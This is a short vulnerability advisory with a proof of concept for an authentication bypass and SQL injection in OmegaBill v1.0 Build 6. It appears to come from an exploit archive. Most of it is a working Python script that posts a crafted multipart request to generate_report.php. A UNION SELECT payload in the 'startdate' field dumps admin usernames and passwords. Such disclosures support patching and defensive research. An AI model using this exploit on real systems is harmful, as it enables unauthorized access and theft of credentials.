OmegaBill 1.0 Build 6 SQL Injection

`# ------------------------------------------------------------------------  
# Software................OmegaBill v1.0 Build 6  
# Vulnerability...........Authentication Bypass/SQL Injection  
# Download................http://sourceforge.net/projects/omegabill/  
# Release Date............2/11/2011  
# Tested On...............Windows Vista + XAMPP  
# ------------------------------------------------------------------------  
# Author..................AutoSec Tools  
# Site....................http://www.autosectools.com/  
# ------------------------------------------------------------------------  
#   
# --Description--  
#   
# An authentication bypass/SQL injection vulnerability in OmegaBill v1.0  
# Build 6 can be exploited to retreive a list of usernames and passwords.  
#   
#   
# --PoC--  
import socket  
  
host = 'localhost'  
path = '/omegabill_v1.0_build6'  
  
port = 80  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((host, port))  
s.settimeout(8)   
  
s.send('POST ' + path + '/generate_report.php HTTP/1.1\r\n'  
'Host: localhost\r\n'  
'Connection: keep-alive\r\n'  
'User-Agent: x\r\n'  
'Content-Length: 239\r\n'  
'Cache-Control: max-age=0\r\n'  
'Origin: null\r\n'  
'Content-Type: multipart/form-data; boundary=----x\r\n'  
'Accept: text/html\r\n'  
'Accept-Language: en-US,en;q=0.8\r\n'  
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'  
'\r\n'  
'------x\r\n'  
'Content-Disposition: form-data; name="startdate"\r\n'  
'\r\n'  
'\'OR 1 = 1 UNION ALL SELECT CONCAT(username,\':\',password),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM admins;#\r\n'  
'------x\r\n'  
'Content-Disposition: form-data; name="enddate"\r\n'  
'\r\n'  
'\r\n'  
'------x--\r\n'  
'\r\n')  
  
print s.recv(8192)  
`